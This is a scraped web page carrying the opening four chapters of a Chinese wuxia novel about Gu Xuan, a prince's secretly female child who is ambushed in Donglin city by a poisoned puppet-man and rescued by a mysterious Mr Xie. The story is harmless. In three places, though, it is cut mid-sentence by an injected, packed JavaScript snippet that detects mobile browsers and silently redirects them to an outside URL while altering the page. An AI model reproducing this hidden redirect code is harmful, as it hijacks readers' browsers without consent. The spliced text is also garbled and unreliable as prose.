《仙尊下凡的那些年》 1. 东临 那时是宣景十五年五月二十六日,顾暄十五岁,他的哥哥顾映十八岁。东临城的莲花正盛,远远望去粉绿相映成趣,应了那句“接天莲叶无穷碧,映日荷花别样红”。 王府中就有一碧莲池,每到花开得正好时王府中最惜花的王爷便会支一张桌子在花树下,或是莲池旁,或是迎客亭里,煮一壶茶,悠闲地看话本。 东临城是东平王顾柳青的封地,据说“东临”二字原先是取自民间传闻的九霄之上镇守东方的“东霖神君”的神号“东霖”。 后面大梁有一任皇帝做梦梦见东霖神君本人叫他将东霖城的名字改一改。这位皇帝醒后一琢磨,神君托梦,莫非是对东霖城以自己神号命名不满?遂改名东临城。 不过这些已经无据可考了,现在出去说世上有神仙,除了财神爷他老人家,大多数人都是不信的。东临城的东临,很多文人骚客都认为是取自那句“东临碣石,以观沧海”。 但是好端端的八个字,为什么不叫观海城、观沧城等等,可能是为了好听、容易叫吧。 顾暄清楚地记得,那天恰逢赶集日,东临城的大街小巷一派热闹场景,贩夫走卒、来往商户络绎不绝,木工铺子的老李略带嘶哑的吆喝声与百花楼上溢出来的舒缓动听的琴声交织在一起,有一种莫名的和谐。 顾暄的哥哥顾映性子安静随和,长着一副极好的相貌,平生最大兴趣便是读书。顾暄觉得,如果自己兄长不用沿袭王位,出去考功名,也能凭借肚子里的墨水捞个秀才或举人当当。 小时候,顾府的主事人东平王偶尔要出城办理公务、探访民情,顾映便给小他三岁的顾暄念书。 顾映十五岁后每年来顾府说亲的媒人都要把门槛踏破了。 东临城最大的一条街上,一个穿着鹅黄色衣衫的少年与一个穿着湖蓝色底衫和白色外袍的少年并肩而行。那穿着鹅黄色衣衫的年纪较小的少年,肤色白皙,一双眼睛格外的美,眼尾下有一颗小痣,眼尾微微往上挑时,说不出的灵动促狭。 另一个年轻俊美的略年长一些的少年自然是顾映。 两个人长得并不像,顾映随了父亲顾柳青,顾柳青年少在京城求学时就和朋友信王并称为京城两大美男,继承了他和夫人秦蓉相貌的顾映自是容颜出挑,非常符合梁人审美中的文雅含蓄的翩翩君子。 顾暄的相貌较顾映多了几分锋利,五官可以用“浓墨重彩”来形容,乍一看有几分天戎人的特征,但细看下去又不像。偏生他的眼睛很美,生而上挑,多数人第一眼看他时通常会把注意放在眼睛上。这位二公子既不像王爷也不像夫人,两人只好安慰对方说这孩子好看就行,好歹不是个丑的。 顾映在一处茶庄前停了脚步,侧身对顾暄叮嘱道:“你在这里等我片刻,不要乱走,我取了话本便回来。” 那话本是王爷点名要的,但凡在京城流传甚广又符合他口味的话本,他必定是点名要的。托了些江湖朋友的忙,无赖道人这话本在刊印的第二天便送到了东临城。 顾暄“哦”了一声,目送他大哥的背影。闲来无事,有一搭没一搭跟木工铺子的老李搭话,手也没闲着,拿了几支木簪细细看着。 老李的木工铺子没有店面,只是用扁担挑着两筐自己做的木工走街串巷,今天在这条街,明天就到另一条街了。顾暄仔细一想,自己好像大半个月没看见老李了。 “老李,手艺进步了啊。”他说。 那被称作老李的老头嘿嘿一笑,道:“公子过誉,这簪子能入您的眼是老李的荣幸,不嫌弃拿去便是。” 小时候王爷公务繁忙时,便是世子带着公子出来逛。一来二往的,一些商户也知道了这两位的身份。 顾暄挑了两支,打算回去给父兄,笑道:“帐记我兄长上,等下他出来给你,我可不会白拿人家东西。” 那老李早料到这个,此时挣了钱心情正好,搓着双手笑着应声。 突然,一阵马的嘶鸣声从长街尽头传过来,路上的人避让不及,一时间喊叫声和身子、东西等碰倒在地上的声音接连不断。 “欸欸欸……” “谁啊,真他爹缺德……” “我日,让开点……” “谁敢这么大胆,当街纵马……” 依据大梁律法,在城内街巷或人众中无故驱车马者,处笞刑五十。 老李心惊胆战地收拾东西避到一旁,刚想说“公子小心”,却发现身旁鹅黄色的身影不见了。 顾暄将地上一个离那受惊的马只有三尺远的孩童拎过来,往身后那个喊着孩子名字的人一甩,喊道:“接着!”然后对着暗处打了个手势,身形一动,往那匹马上的人奔去。 事发紧急,他也顾不上通知顾映了。若是因当街纵马而造成百姓伤亡就糟了。东临城估计往上五六年都没有出过这种败家玩意,东平王府就在东临城,谁敢在顾柳青的眼下公然在城中惹事? 在暗中跟着他和顾映的侍卫接到指令,一边疏散人群,一边大喊:“有人当街纵马,行人注意避让。” 那孩子落在母亲臂弯,刚才受到的惊吓转为嚎啕大哭。 马上那人东倒西歪,像是不省人事一般。长街上的人听到有人纵马,纷纷避开,那马驮着那人一路往前,向着城外的方向走去。 一位年纪三十来岁的男人看到顾暄追了上去,忙道:“公子留步,街道司马上就到。” 这条街往右拐就是东街,那里多是贩卖瓜果蔬菜的老农,他们腿脚不便,让这匹受惊的马跑到那里撒疯就糟了。 顾暄一边跟着,一边快速地掠过几个名字,这东临城还有谁敢当街纵马的?东临城和周围四城名义上归东平王管,东平王之下便是几位太守,那几位太守的公子,断不敢在东临城如此放肆。 顾暄的轻功看不出哪家身法,但能追上那匹马。他几次尝试拉过那缰绳,都被那人躲了过去。那人着黑衣,戴着个斗笠,低着头,身上酒气蛮重的,在马背上摇摇晃晃,却几次将顾暄伸过来的手躲掉。 哪有酒疯子躲得这么准? 顾暄心下一沉,蓄力踢起脚下的一颗石子。那马的一只前腿被这一颗石子打中,哀嚎一声,生生改道向左了。 他路过茶肆时抄起桌上的茶杯,道:“店家,稍后赔你钱——” 话音刚落,那只茶杯就飞了过去,那黑衣人一避,仍是被打中肩头。顾暄飞身而上,打算把他一脚踹下去。 那人往左一避,反手抽出腰间的刀,两人就这么在马上打了起来。“打”不太准确,应该是那人攻击,顾暄避让。原因无他,顾暄没开脉,不会武功。 当今天下武学分为五重大境界和十五重小境界,每重大境界下有上中下三重小境界,以一重境下境为起点,寻常人的极限一般是四重境中境。往上,四重境上境被誉为半神之境,五重境的人还闻所未闻,也不知为何武学划境要将五重境归为其中之一。 顾暄一边避让,一边想着该怎么办,事情好像有点超出他的范围了,自己只有挨打和躲避的份儿。然后他想到了王爷,心里一阵绝望。 王爷自己武功练得稀松二五眼,主张学点逃跑功夫得了,咱家这条件用不着出个绝世高手,不然养着那帮侍卫是干什么吃的。所以顾暄跟着他哥的师父沈畅学过一点轻功,近身格斗什么的是擀面杖吹火——一窍不通。 很快,他就被那人拎住衣领,还挨了一刀。虽然他们在马上打得激烈、躲得激烈,不妨碍那马背着这两人狂奔。顾暄几次想踹那人下去,都没得逞。 随即那人跳了下来,将那马一拉,顾暄就像丢垃圾一样被丢在地上了。 他趴在地上大声咳了几下,手往腰后摸,少爷脾气上来了,心里想好了这人的一万种结局。反了他的,知不知道自己是谁?竟然还敢动手打他?王爷、夫人和世子都舍不得打他! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾暄轻哼了一声,没有回答。王府的夫人在顾暄七岁时去世了,顾暄对她的印象很少。王爷后来也没有续弦,一个人身兼父职母职。他们家的相处模式有些奇怪,当爹的没有爹样,做孩子的咋咋呼呼,除了顾映有点君子之风,这个家还真的找不出第二个沉稳一些的人了。 顾映在十七岁那年出门游历一年,没带侍卫,今年四月份赶在顾暄生日前回来了,这让一向没出过远门的顾暄羡慕得很,于是便生出效仿之心。 可是他根子太差了,学了两个月才学会点轻功,更不用说那些用剑用刀这类的功夫。再加上王爷时不时围观他练武,桌上放着果盘,边吃边点评。 “阿暄,步法错了。” “阿暄,姿态不行,这么灵活的走位,你扭得太难看了。” “阿暄……” 顾暄没脾气了,看着略微发福的顾柳青,欲言又止道:“王爷,您张嘴前看看自己的身材行吗?您都不知道能不能扭起来呢……” 顾柳青不甚在意,“我年轻时身材好得很,不知道多少人追我。‘当时春衫薄,骑马倚斜桥,满楼红袖招’说的就是我……唉,现在年纪大了,心胸宽广了,心宽体胖没听过吗?” 难道您以前心胸很狭隘吗? 顾暄想了想,“我觉得心宽体胖应该把前面两个字去掉。” 顾柳青兜头朝他丢了个花生壳,打在顾暄脑袋上,“没大没小。” 这人纯粹就是为自己略微发福而找借口。 回忆结束,那人朝自己走来,步履有些僵硬,看着奇怪。顾暄半趴在地上,心里闪过一丝疑惑,这走势怎么像中了风?再往周围看,这条巷子没什么人,大都家门紧闭,原来不知不觉中已经接近城郊了。 再撑片刻,说不定就等到侍卫带人来了,他哥说不定也发现他的行踪了。于是顾暄眯着眼睛半威胁道:“你知道我是谁么?” 原先预料的“那你是谁”并没有出现,那人看着甚至想过来打他。顾暄挪了挪,琢磨了一番,心道这和话本演的怎么不一样,难不成是自己过于招摇反而起了反作用? 在那人离自己越来越近时,顾暄将腰间的匕首拔出,往那人脚上刺去。奇怪,那人生生挨了这刀,也不哼声,像是感觉不到痛觉一样。 顾暄一抬头,对上他低着头的脸,那人约莫二三十岁的年纪,眼眶中竟然流出了血,眼神僵硬,不似活人!最重要的是,他的眼睛是紫色的! 2. 公子 顾暄心下一骇,偏头侧了侧,一把剑落在离他耳朵不到一尺的地方,钉着他的头发。 那人见没有刺中,将剑拔出来,顾暄趁着这空袭往后一撑,退到五尺外,撑着墙壁起身,神色警惕地看着这人。 终于知道这人为何不对劲了。马背上打斗时此人动作有些僵硬,顾暄留意着不让自己掉下去,便没有多注意。这人拎着自己的衣领时,他的手碰到自己的下巴,冰冰凉凉的,顾暄忙着脱身,也没有多想。 记忆串联起来。刚才刺了这人一脚,他像不怕痛一样,眼神空洞无物,不像个活人,倒像…… 木偶。 顾暄回忆着顾柳青和沈畅跟他谈过的江湖逸事,当今武林门派各立,介于朝廷和江湖的有云庄,江湖上有以剑出名的九山派、以长刀闻名的赤城、以铸剑闻名的剑门、司管江湖纠纷的锦宫等九大门派,可是这些门派的功法应该是没有将人修炼成半死不活的傀儡状的。除非这人走火入魔,但走火入魔行动不会像木偶一样。 还有一种可能,刚才那人的紫色眼睛让他记起另一些事…… 顾暄的神色微敛,紧紧握着手里的匕首。南疆一带多奇人异术,天戎旧地也不相上下。四十年前,代表大梁的三足金乌旗插在南疆的领地上;二十年前,大梁军队与西北边的天戎国交战,三年后将其变为自己的属地。 南疆有一种叫人蛊的邪术,天戎有一种与之类似的术法,不过不叫人蛊,叫巫骨,天戎语中是力量大的意思。 那人定定地看向他的方向,忽然飞身而至,一掌拍了过来,另一只手准备掐住他的脖子。 顾暄侧抓着他的手臂往右一转,同时匕首往他的后颈那里刺去,那人没反应,反手抓住了他的手。 顾暄瞪大眼睛,被他抓住的那只手漫上一层淡紫色,看起来诡异得很。那人回过身,一把掐住他的脖子,力气逐渐变大。顾暄的匕首掉在地上,感觉气都要喘不上来了。 一阵笛音传过来,顾暄的眼睛艰难地转了转,看到不远处一处房梁上,一位紫衣人正在吹笛。 笛声时高时低,诡谲阴森,他留意到那木偶听到笛声后动作一顿,随即将自己扔了下去,转头向着那紫衣人走去。 顾暄被他摔到地上,觉得骨头都要散了。过了这么久,那帮侍卫还没有要找来的意思,让他有种今天就要交代在这里的感觉。 他努力睁着眼睛,看见那紫衣人从房梁上轻轻一跃,竟然是无声的。他缓步朝自己走来,自己却看不清他的脸。 任他这条咸鱼再蠢也该知道自己被做局了,对方千辛万苦将自己引到城郊这处没人的地方,究竟是为了什么?劫财?劫财至于用到这种不人不鬼的东西吗? 他想了想,可悲地发现自己竟然没有找出身上有什么点值得对方大费周章来引他出来的。要说与别人结仇什么的,自己这十多年来老老实实的,也就前几年跟太守家的公子争赏莲的最佳位置而大打出手了一次,此外好像就没了。 威胁东平王?这倒是有可能。毕竟他哥还是会点功夫的,不像他就会点跑路的招数。 那人的靴子停在离自己不到一尺的地方,微微低头,声音听不清男女,有种莫名的阴柔,“多么漂亮的一双眼睛啊……” …… 顾暄快一口血吐死过去了,怎么这种人命攸关的时刻,这种货色还有心情夸他的?这是打一巴掌给一颗甜枣吗?可是他也不是很想要这颗甜枣啊。 这时,那人留意到顾暄脖颈上系的一条黑绳,弯腰俯身,准备探手—— 破风声响起,一把折扇飞了过来。 那人将手一收,折扇便打在顾暄肩膀上,他闷哼一声,直觉自己好像撞上了一块巨石,五脏六腑都震了震。 紫衣人警惕道:“谁?”连那人的“木偶”也转过身子,眼神空洞地扫视着各处。 西北边的一处屋檐上传来轻微的响声,紫衣人回头,顾暄也艰难转头,看见屋檐上稳稳当当站着一个约莫二十来岁的白袍青年,正望着这边,微笑道:“等你很久了。” 这话怎么有种螳螂捕蝉黄雀在后的意思呢? 紫衣人的目光落在那人绣着大片兰花的衣摆上,听到这句话后不欲纠缠,打算离开。白衣青年身影一闪,截住了紫衣人的路,两人就这么有来有往地过了数十招。 两个人实力看着差不多,白衣人甚至更从容,一时半会分不出胜负。再拖片刻,侍卫说不定就跟来了。这个念头刚落下,巷子尽头就传来马蹄声,然后是顾映略带焦急的喊声,“阿暄——” 顾暄闷闷地咳了几声,咳出一口血,话都没气力说了。 忽然,他感觉背后有凉风,转头一看,那“木偶”提着剑要刺下来。他微微瞪大眼睛,心里一凉,被这把剑捅一次他不是死就是残。 青年不得不抽身出来,格剑替他挡了一下,紫衣人趁机脱身,几个转息间就不见人影了。白袍男子蹲下身查看他的伤情时,那“木偶”也跟着他的主人跑了。 顾暄像条半死不活的鱼一样侧躺在地上,视线落在那白袍男子的身上。靠近了才看清,他身上看着很考究的白袍用银线勾勒出兰花的形状,走起路来银线翻飞,就像重重兰花绽开了一般。 再往上,就是那人一双沉静无波的眸子,面容俊朗。如此沉静的脸居然长着一双悱恻婉转的丹凤眼。 他在失去意识前迷迷糊糊地想,这人又是哪位?怎么突然出手救了自己?而且看那袖子靠近手腕的内侧,印的是京城织锦庄的标记,难道他是京城人? 还有,那紫衣人为什么要引他出来?是与顾柳青有怨还是单纯想杀了自己?王爷那么老实,能得罪什么人啊…… 一觉醒来时就是三天后了。顾暄睁开眼睛,感觉帐顶吊着的那枚铜铃在自己眼前晃来晃去,仿佛回到了九岁以前那段头痛得看不清东西的日子,于是痛苦地“嗷”了一声。 身旁的人听到他的动静后跑了过来,边跑边喊:“给王爷和世子报个信,说公子醒了——” 是他的侍女秋萍。 不一会儿,顾柳青和顾映就赶来了。府中大夫给他仔细检查过身体,说没什么大碍了,就是肩上伤得重了些。 顾暄低头看了看,自己的肩膀上绑着绷带,手臂上也绑着,自己还没忘记自己摔了几次加上最后被那白袍男子打了一扇子,此时轻轻动了动肩膀,一阵剧痛传来,疼得他皱起了脸。 顾映小心扶着他,顾柳青坐在床边,两人神色都不怎么好。 顾暄忽然像想到什么了似的,低头看了看自己的手掌,那淡紫色已经褪去了,那双手还是莹白如玉的。 顾柳青说那几个人还没有查清来历,让顾暄好好休息,自己坐一会儿便让顾映陪着他,自己则有公务先一步离开。 走出院子,经过两条曲折的回廊,就到了王府的莲池。莲池旁站着个人,正低头欣赏那一池的荷花。此时是五月末,淡粉色的荷花花苞摇曳于碧绿色的荷叶间,长势喜人。 顾柳青神色有几分严肃,走过去示礼,“殿…公子。” 那青年正是救下顾暄的人,他转过来还礼,“王爷。” 顾柳青道:“五月下旬还不是东临城赏莲的最佳时节,若是迟些,东临城最大那片湖有荷花百顷,眼下这小池的风光比不得那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢公子,本来是一个称呼。但是统领整个国家的人就姓谢,只怕这位谢公子身份不简单。顾映看着藏了事儿,但顾暄乐观地想了想,他哥不会害他的,遂扔下这人的身份。 顾暄把玩着脖颈间的黑玉坠子,突然把略微松动的坠子摘下来抛着玩,随着坠子的摘下,顾暄的脸也发生变化,露出一张略带青涩的女子脸庞。 顾暄歪了下头,声音清脆,道:“哥,那个紫色衣服的人那天好像想要我的玉坠。” 顾映对这见怪不怪,把玉坠系回顾暄的脖子上,只道:“白天人多,不要随意摘下。现在别想这些事情了。” 顾暄刚出世时身体极其羸弱,一位路过王府的算命先生掐指一算,跟王爷说您这女儿前世是个神仙命,今生及笄前最好藏一藏这女子身份,不然叫天上的神仙带回去了。 王爷觉得这是无稽之谈。奈何顾暄那会身体真就那么差,好几次差点撒手人寰,王爷没办法,只得暗中给她换了身份,对外宣称顾暄是次子。除了府中亲人和几位贴身侍女,外界的人都不知道她的真实身份。 九岁那年王爷试着让她脱下颈间由灵山玄石做成的黑玉坠子,不曾想那年遭遇了一伙贼人,顾暄左肩肩胛骨下受了一剑,差点丧命。至此,王爷就不敢乱提这事了。十五岁生日后,顾柳青问过她意见,顾暄寻思着这身份用了这么久,再用几年也不迟,等要成婚再说。 于是顾暄的表面身份还是东平王的次子,那个大错没有、小错蛮多的矜贵公子。 又恢复了原来的面容,顾暄“哦”了一声,拉过被子盖上。吃过药的他很快就困了,呼吸声渐渐平稳。顾映帮他掖好被角,轻手轻脚地离开了。 3. 巫骨 当晚,顾映沐浴后,小厮提着灯在前面带路,后面是穿着睡袍的他。 顾柳青的书房还亮着灯,听到来人通报也只是挥了挥手,让人把顾映带进来。 顾映手里握着一个莲花盏,水倒进茶盏里,底下的莲花纹就像活过来一般,随着水位上升渐次变化,如同一朵层层绽放的莲花。 等下要睡觉,所以他并未让人添茶,只是自己倒了杯水。顾柳青在灯下看着手下人送来的一份卷宗,顾映也不急,等着顾柳青放下卷宗才开口: “当街纵马那伙人有消息了吗?” 灯下,顾柳青面沉似水,他揉了揉眉心,道:“很少,除了阿暄手上检测出来的毒是来自南疆的,其余消息很少。马匹是太守家遗失的,据看守马匹的小厮说当时不知怎么就晕了过去,醒来时马匹就不见了;那两人的信息也没查到。不过一周前城东一户人家来报官,说家里不见人了,没准和这个有点联系。” 依据顾暄的描述,那木偶一样的人和死了也差不多,叫人问一下城中谁家不见人了,没准可能找到线索。 顾映刚要说话,便瞥见屏风后一处暗影动了动,一时间忘了措辞。他搁下茶盏,微微一惊。 这人是什么时候在这里的?为何他一开始就没察觉? 谢公子从屏风后走出,对顾映笑了笑,道:“我倒是有个不明白的点,为何王爷断定那‘木偶’就是本城的人?有没有可能是非东临城的人?” 顾柳青道:“手掌。据阿暄的描述,她跟那人过招时,看见那人手掌颜色呈红褐色,虎口茧子很厚,拇指和食指无法完全并拢,指甲里有黑色污泥……” 谢公子道:“听这描述,倒像个渔夫。” 顾柳青道:“是,我已经叫人把报官那人家说的人画了下来,明天让阿暄看看。” 谢公子又问了一些案件的细节,这才起身告辞。 顾映送他到门口,回身时刚想说话,见顾柳青微微摇头,他便住了嘴,到桌前添了一杯水,喝完才压低嗓音开口: “这人什么来头?怎么对阿暄遇刺这件事如此上心?” 查案本应该由东平王府和衙门负责,这人跟个大爷似的来盘问细节,想干啥? 顾柳青神色有些凝重,就算是他也有些搞不明白这位谢公子的来意了。他说:“他是…的侄子,应该是内院弟子,这一次来是因为在青州、赤城等地出现了巫骨,云庄派出弟子一路追踪可疑人物。” 那两个字被他省去,用一个往上指的手势代替了,往上是什么?能让东平王都不敢直言名字的,大抵是天吧。 他没说的是,谢公子究竟代表了云庄的意思,还是朝廷的意思?如果是前者,云庄未免管得太远,毕竟这事应该由赤城几个江湖门派管。云庄的态度在江湖和朝廷之间摇摆,朝廷觉得它是江湖门派,江湖却觉得它是为朝廷办事的。 如果是后者,那就值得商榷了。 多年来,太上皇和皇上对这些奇人异术深恶痛绝,恨不得除之而后快。原因无他,征服天戎的最后一战中,天戎人不知使了什么邪术,让三万大梁军队折损西北。 而对面仅仅不到一万人的军队。 最后是北安王和东平王带兵及时赶到,将堪堪平衡的局势打破,让胜利的天平倒向大梁这边。因为这一战,大梁休养生息数十年。 听到云庄内院弟子一词,顾映眉心一跳,有些明白为何刚才自己没有察觉现场有第三个人了。随后听到“巫骨”一词,他的脸色才真正变了,那玩意不是很久都没出现在江湖上了吗? 他想起一些旧事,脸色不是很好,问:“父亲,谢公子过来是不是要把阿暄……” 顾柳青道:“嘘……别乱想,你这几天看好阿暄。这么多年相安无事,我就怕那人记起这事了。” 第二日,顾暄睡到日上三竿,醒来时觉得精神气好了一些,觉得翻身下去绕着东临城跑半圈都没问题了。以前沈畅让他练习轻功,就是让他用轻功绕着半个东临城跑,中途不许停下来。 他还说轻功练到这个程度就差不多了。顾暄叹了口气,觉得不尽然,不然自己那天也不会被抓着揍了。 早饭后,顾柳青拿来一幅画像,叫顾暄认一认画上的人。 顾暄捏着画像看了看,之后又捂住画上人那双眼睛,那天的记忆涌了上来,“不错,那天当街纵马的是这个人。” 话音刚落,顾柳青手下的人来汇报,说在一处山坡上发现了一具尸体,从面容来看是一周前报官的那户人家所说的人。顾柳青带人过去,顾映便陪着他待在院子里。 果不其然,顾暄想了想,始终觉得不对劲:“那家伙那天是要引我出去吗?我看他的目标怎么是我?” 顾映安慰他:“不一定,父亲说赤城、青州等地也有类似事件,说不定只是个巧合呢。” 说话间,他看到顾暄颈上用黑绳系着的那块三角形黑玉坠露在衣服外,便提醒他收回去。顾暄依言,没多久秋萍就来通报,说谢公子到了。 顾暄使了个眼色,问他哥这是谁。时间紧迫,顾映只来得及说他是云庄的人。 门外晃进一个身影,大概二十岁出头的样子,上一次看还是估多了他的年纪。谢公子年轻英俊,身形颀长,穿着一件半旧的月白袍子,细腰带上悬着一块勾云纹玉佩,脸上带着从容的笑容,整个人看起来文质彬彬。 顾暄看了看他,又看顾映,觉得某些方面上他和顾映有些像。但是又比顾映更稳重,也更自信。 行过礼后,谢公子照旧问了几句顾暄的身体。顾映感谢那天他出手救了顾暄,谢公子则握着茶盏笑笑:“不是二公子轻功了得拖了些时间,在下未必能那么巧的赶到,还是二公子功夫了得。” 顾暄想起那日这人“黄雀在后”的观望姿态,直觉他早就赶到现场了,只是在紫衣人要对自己动手时纡尊降贵地出手了。 想起昨晚顾柳青跟他说的话,顾映不动声色地喝了口茶,正要替顾暄把这恭维塞回去。果然,谢公子的下一句便是:“那日瞧二公子的轻功与江湖中人大有不同,在下最近正为轻功上的问题苦恼,敢问二公子功夫师从何人?” 顾暄笑笑,“随了我哥的师父,也就随便练练,打发些时间。” 谢公子笑道:“那还真是天赋异禀,随便练练都这么厉害了,不敢想开过脉后得多厉害……对了,二公子开脉没有?” 顾映隐晦地看了这人一眼,准备将这试探糊弄过去。顾暄吃过早饭有些昏昏欲睡,闻言便“嚯”了一声,轻描淡写道: “不敢当,真是随便练练的,拿来躲我爹的打差不多。开脉太辛苦了,我没敢。毕竟王爷说学点功夫逃跑得了,像寻常武夫识几个大字就够了。我们家这背景,无需费力在功夫上,真正保命还要看侍卫。” 这话不知是高明还是愚蠢了。看他的神情,就像真的这样认为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278635|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。谢公子原本的试探,被顾暄搬出王爷经典语录推了回去,好似自己真的是个学点轻功当乐趣的富家公子。 不怪他这么说,练武又累又苦,不是江湖中人和普通百姓,公卿王侯的孩子多学剑,不为防身,就为了在宴席上舞剑,落得个风雅的名声。 谢公子似乎卡壳了片刻,转眼间又恢复了那副宠辱不惊的表情,“王爷真是性情中人。” 送走那人后,顾映松了口气,低声说他刚才说的话讲得不错。 顾暄倚着兄长的肩膀,长吁短叹,沧桑道:“我想励志也没那条件啊。” 那天被那活死人掐着脖子,他的第一反应是恐惧。他还没有将木簪给到父兄手上,现在死未免死而有憾;兄长叫他在原地等自己片刻,他却为了让那匹马停下来,冒冒然追了上去。 醒来后第一反应是以后出门绝对要多带几个侍卫,他可算明白他爹平日里小心翼翼那股劲是什么原因了。更何况,他说要习武,最初目的是有了自保手段,出去便不用带那么多侍卫。 以前可能会想,出去玩后面还跟着一帮人,多不得劲啊。但现在的他想还是小命更重要。 于是这几天,王府众人看见平时每天出去玩儿的人开始学王爷窝在府中,不是看话本子,就是翻出琵琶扰民。顾柳青觉得没什么的,顾映却觉得他是一朝被蛇咬、十年怕井绳,反应过度了。 他爹是京城著名说话人无赖道人的忠实粉丝,“说话人”即话本先生,就是写话本的。那无赖道人每隔几年就写个新话本,故事曲折,但又切中肯綮,主要写江湖上的各个门派的故事,给各家起了个化名便开始讲故事。 现实里有云庄,话本里就有“雨庄”;现实里的情报收集与贩卖场所是隐宗,话本里就有个“光宗”;现实中九山派宗主周福因修炼功法奇特,在话本里化名周蝠,还是只蝙蝠成精的妖怪。 内容不知道是真是假,反正内涵人水平极高,阴阳人意味极重,百姓也乐得看这些编排江湖几大门派的小册子。据说有一回赤城掌门萧焱看了这话本,话本里有个火城,城主是一个别人一点就炸的弱智。萧焱看到后当即跳脚说这无赖道人真是无赖,还说要砍了他的舌头。 关键是话本写得不错,读者甚广,内容真假便无所谓了。 就这样窝窝囊囊半个月就过去了。 那件事顾暄问了几句,但无论是顾映还是顾柳青,说辞都大差不差,不外乎是几个南疆人作乱之类的。 他信了。 才有鬼。 他来到王府的藏书阁,翻出两本厚厚的积了不少灰尘的古籍,开始查找那天医师所说的他中的毒。 紫鬼。不知道为啥叫这名。 紫鬼确实是南疆特有的一种毒,那么说父兄的措辞也没错了。可是为什么那人会像木偶一样,难道他也中了紫鬼?这样说似乎也可以,毕竟那人一对眼睛就是紫色的。 顾暄摸着下巴,总感觉有些不对劲。 东平王府西南方向的一个小院子,谢公子正倚栏吹风,像是在等什么东西似的。约莫半炷香后,一只通体黑色的鸟飞了过来,扑棱着翅膀停在谢公子的手上。 谢公子捏着那只鸟,在这只鸟身上按了几下,栩栩如生的黑鸟从中间裂开,里面弹出一张纸条。原来这不是一只真正的鸟。 谢公子看完,指尖燃起一团火,将那张纸条烧掉。他神色一如既往,依旧像一块温润的玉。 4. 渔夫 因为山坡上发现的那具尸体,东临城陷入了一阵恐慌,谣言总是比真相来得更快。 先是“无区别杀人魔头”,后来是“杀人魔头通过杀人精进修为”,再后来是“杀人魔头取精壮男子的心脏作为食物”,最后是“杀人魔头无区别杀人,手段极其穷凶极恶,掏心挖肺凌迟千片等” 城中百姓一到黄昏便家家门户紧缩,街道上只剩下零星几个行人和巡逻的官兵。 顾暄听到城中传成这样,不由得感到有些啼笑皆非。他将无赖道人最新的话本子看完了,他爹这几天因为那具尸体的事早出晚归,连顾映那天取回来的话本子都没看几页。 他忙起来的时候特别忙,顾映和顾暄一连几天都见不了他几次面;不忙的时候很闲,听戏听曲,舞文弄墨,甚至亲自上场写词写曲叫人唱。 将话本子搁在膝盖上,他想,那紫衣人那天伸手想要什么呢?难道是看见他脖颈间的玉坠?可是那也不是个值钱到要杀人的玩意啊,这还是九岁那年他爹到灵隐寺给他求的。 那是要取自己的小命吗?看着也不像。他自出生以来就没出过东临城,平日上街不是顾映陪同就是侍女和侍卫陪同,怎么会无缘无故得罪人呢?而且还是这样的深仇大恨。 他想起那天那活死人要杀自己,紫衣人吹笛反而救了他。如果紫衣人的目的不是取他的性命,那费尽心思把他引过来是为了什么? 他实在想不通,便换了个思路。那木偶身上应该是中毒了,关键是为什么选一个二十来岁的渔夫下毒?是随机挑取还是什么? 南疆的人蛊是用蛊虫驱使的,被下药者体格如何可以忽略不计,毕竟被下蛊了的人都是一样失去理智、力大无穷,唯一恶心的点是蛊虫会留在宿主体内,杀死宿主时蛊虫也会爬出来跟着宿主一起死。 天戎人的巫骨则不清楚。 顾暄忽然想到一个问题,忙叫来秋萍,问:“最近城中传得沸沸扬扬的那具尸体,你跟我详细讲讲。” 秋萍见他神色严肃,怕他被吓到,便劝道:“公子,您还是别听了吧……听说老吓人了,您被吓着了怎么办?” 顾暄摆摆手,眼角下那颗小痣在阳光下格外灵动。他移了移藤椅,避开了阳光,道:“没事,我就听听。放心,不会告诉王爷和世子的。你尽管说就行。” 秋萍犹豫了一下,见他实在想听,便道:“据说那人还是一个猎户发现的,脸着地倒在山坡一处竹林较密的地方。那猎户以为是有人摔下去了,扶起他一看,那人脸都烂了,眼睛也不见了,早就不知道死了多久了……” 秋萍哆嗦了一下,顾暄也被恶寒了一下。两个人沉默了几秒。顾暄将藤椅移到有阳光那地方,问:“他周围有没有什么奇怪的东西?比如说虫子?” 顾暄这样问是考虑到大多数南疆的蛊在蛊主死后,体内的蛊虫会爬出宿主体内,然后死亡。如果那人身上的毒是苗疆的,他周围必然有蛊虫的尸体。 秋萍想了想,谨慎地摇摇头,“没有虫子,他的周围倒是很干净,那些草和花都枯萎了,地上看不见一只蚂蚁,更不要说虫子了。” 这下顾暄是真的惊讶了,没有蛊虫,岂不是意味着这具尸体身上的毒来自天戎?那为什么那木偶身上的毒是来自南疆的紫鬼?是为了混淆视听,还是怎么样? 以及,如果那具尸体真的是死于巫骨,父兄为何坚持是南疆人作乱? 顾柳青去官府了,顾映也去习武了。顾暄想了一下,决定出门一趟,有些事情还是得自己找出真相。 他跟老管家说想去取最新的话本子,老管家联想到他半个多月前受伤,委婉表示这些事情可以让下人代劳。 顾暄转了一下眼睛,说自己闷了这么多天有些无聊,想出去走走,不会很远的。 老管家见他今天兴致确实好,不敢忤逆,给王爷和世子报个信,得到回复后派了是平时的两倍人手出去。 秋萍跟着他出去,走着走着,发觉方向不对。 “公子……我们是不是走错了?这里不是去茶庄的路啊……” 